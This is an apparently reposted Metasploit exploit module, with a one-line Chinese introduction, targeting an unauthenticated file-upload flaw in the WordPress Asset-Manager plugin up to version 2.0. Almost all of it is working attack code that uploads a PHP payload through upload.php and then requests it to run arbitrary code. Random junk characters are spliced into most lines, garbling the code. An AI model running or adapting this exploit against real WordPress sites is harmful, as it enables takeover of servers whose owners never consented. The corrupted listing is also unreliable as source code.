这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
" I2 e+ r, P6 V4 |6 l! v! G5 J; X. J/ t8 j
##
+ H' ~0 _" E3 f) \4 m6 [# This file is part of the Metasploit Framework and may be subject to. @& `8 g" H0 D' Y- B3 O
# redistribution and commercial restrictions. Please see the Metasploit1 g. }* y, g4 R' q
# Framework web site for more information on licensing and terms of use.% _) r0 H- Z1 k- _5 i2 c8 r
# http://metasploit.com/framework/4 k: U! W+ U$ s- ^2 D' h
##
, S# x a3 I: }0 R
- s. M6 f5 g; krequire 'msf/core'4 ~% B7 R' I0 |& j' q: a1 s+ u
require 'msf/core/exploit/php_exe'
$ J8 M2 }( k. d
0 J+ T: v4 f) y+ ?9 O- Sclass Metasploit3 < Msf::Exploit::Remote; h4 B" m# k& Q6 g
Rank = ExcellentRanking+ n8 H! ~1 P1 F" a/ c8 Y
# l3 h% ]0 g8 n. w; |2 }8 A
include Msf::Exploit::Remote::HttpClient& O( F T' e0 V* M6 _# j, \ u
include Msf::Exploit:hpEXE' Z X3 G6 {4 l( P6 Z
' w, w0 c* Q4 ]' V def initialize(info = {})
( ]6 {8 {$ } t super(update_info(info,
! b% v; z7 Q" b- t9 {8 t! U: y 'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',$ s! w& `6 J9 ^
'Description' => %q{
0 s% q- [7 d% k This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
# J. B# r& b& W& P9 J3 L plugin. By abusing the upload.php file, a malicious user can upload a file to a
: I) {; L, r# F o* k4 E temp directory without authentication, which results in arbitrary code execution.2 A& }9 c4 g; u7 s0 G& ~0 f
},
6 }7 O3 G0 B1 b. }0 u 'Author' =>
) z! Y2 t. w; p. l [& A A, f8 L) D$ p- n, N( O. O6 t* R
'Sammy FORGIT', # initial discovery
6 z; A9 {4 w/ o" _ 'James Fitts <fitts.james[at]gmail.com>' # metasploit module
* e4 w0 |3 F" E ],( t& N8 k8 s- e
'License' => MSF_LICENSE,2 l1 E1 O" I+ `- }% N5 z& V
'References' =>
. K* h, N1 D- `2 \. Y; C9 n! R7 o [3 p3 S4 s; J! N) D3 Z
[ 'OSVDB', '82653' ],3 k4 F7 z# I3 O a' J8 E7 @/ ~2 }
[ 'BID', '53809' ],
, ]4 H$ m0 A1 S0 N8 T4 Y [ 'EDB', '18993' ],8 y$ X: }# N! K! Y
[ 'URL', 'http:// www.myhack58.com /' ]
8 h5 [$ y. L! I ],( n4 f: |& a" m/ t) i3 }8 G0 ?. g9 G
'Payload' =>+ e; i7 w: \* l3 z" U
{. ~* j" e" W- j2 _) Z$ H: C
'BadChars' => "\x00",* N' _3 N8 W1 U5 p: X$ p
},
/ b+ G- s. U: f$ X$ Q9 H" S- J 'Platform' => 'php',& _, E4 N h9 q9 N% {: `9 P5 H
'Arch' => ARCH_PHP,0 j/ Y0 X# h: D7 S z6 Q. y6 ~& ~
'Targets' =>. `0 ~) g! p2 I q1 c+ P
[* I; _; @( g" i: |6 ] Q1 M
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
/ r7 _. j0 Z# R% l! ?$ z/ Q [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]8 s+ G' z/ A, f1 ?* o. q
],
. V/ d( k0 s4 y" u% ]6 ^+ Z 'DefaultTarget' => 0,0 C/ E( H$ K& }) |) d
'DisclosureDate' => 'May 26 2012'))+ G5 M9 Y% ~7 V( y( Z) i- C
) p. A7 K) T0 D3 J. b# |
register_options(! n( L) t3 }0 r) M |
[# f+ O6 V, G- K9 _1 Y& u* `. ^
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
8 c2 K1 h; h* c7 [" [ ], self.class)
$ T: V2 t% I% N2 H; W end% R1 k5 q) B( q( e
) m" R: f% c) q6 G9 U0 l
def exploit7 P, q1 h$ i+ v( d: z z2 p" d
uri = target_uri.path( P; N" W: k/ _* _8 W& B( y
uri << '/' if uri[-1,1] != '/', v- o+ i: O. X
peer = "#{rhost}:#{rport}"
$ ?& ?) m% ]2 ?9 a payload_name = "#{rand_text_alpha(5)}.php"1 `( p4 d! h) B* j' M3 f8 d
php_payload = get_write_exec_payload(:unlink_self=>true)( B7 \) d4 `2 x M6 z# A3 B) L5 M
; I1 M! z2 N9 _% A8 B
data = Rex::MIME::Message.new) c- @' o4 T0 c; P0 A
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
8 ]' O8 \# t# _3 r post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')5 m% h# ~2 U: _: R1 e' r
' r% W; X4 G7 v* S9 A
print_status("#{peer} - Uploading payload #{payload_name}"); m8 l" \% D+ g. Y6 h9 E
res = send_request_cgi({; f0 ~3 ?* |( ~+ @
'method' => 'POST',4 y& k3 k0 @; j) B
'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",+ r0 T2 _: _. v
'ctype' => "multipart/form-data; boundary=#{data.bound}",
7 i& E3 I; }4 u, G0 b. t# g! x 'data' => post_data
1 Y; \* j2 [, O, q })
1 Q8 D8 O2 ]+ r+ L3 q 3 y- j) \- c) \- m
if not res or res.code != 200 or res.body !~ /#{payload_name}/7 V, @% A/ I/ |4 V
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
0 L) p# V. \* q/ z, E6 o& k- y+ rend
; J& I# T3 A" `- x& S( c
9 w4 B3 \9 |) e print_status("#{peer} - Executing payload #{payload_name}")
9 z# n# B- b# ^7 I& I) B9 b4 L res = send_request_raw({3 A6 a" d% z+ \' G- |
'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
7 t' m! X# [7 S8 M- v2 _/ w. P+ @0 { 'method' => 'GET'
- u5 q. T! W# W })
) T. S+ y: F3 a" i ) I. R2 ]6 C5 Y9 y9 A4 U) L
if res and res.code != 2002 G k7 g; z4 ~5 t
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed"): j2 w3 ?2 e3 f9 ?- B1 p
end) y9 c+ ^* N' g }4 E
end
# q$ ?# d# L2 e; Dend( Y% Z" \8 v, _& R9 V2 [8 o
|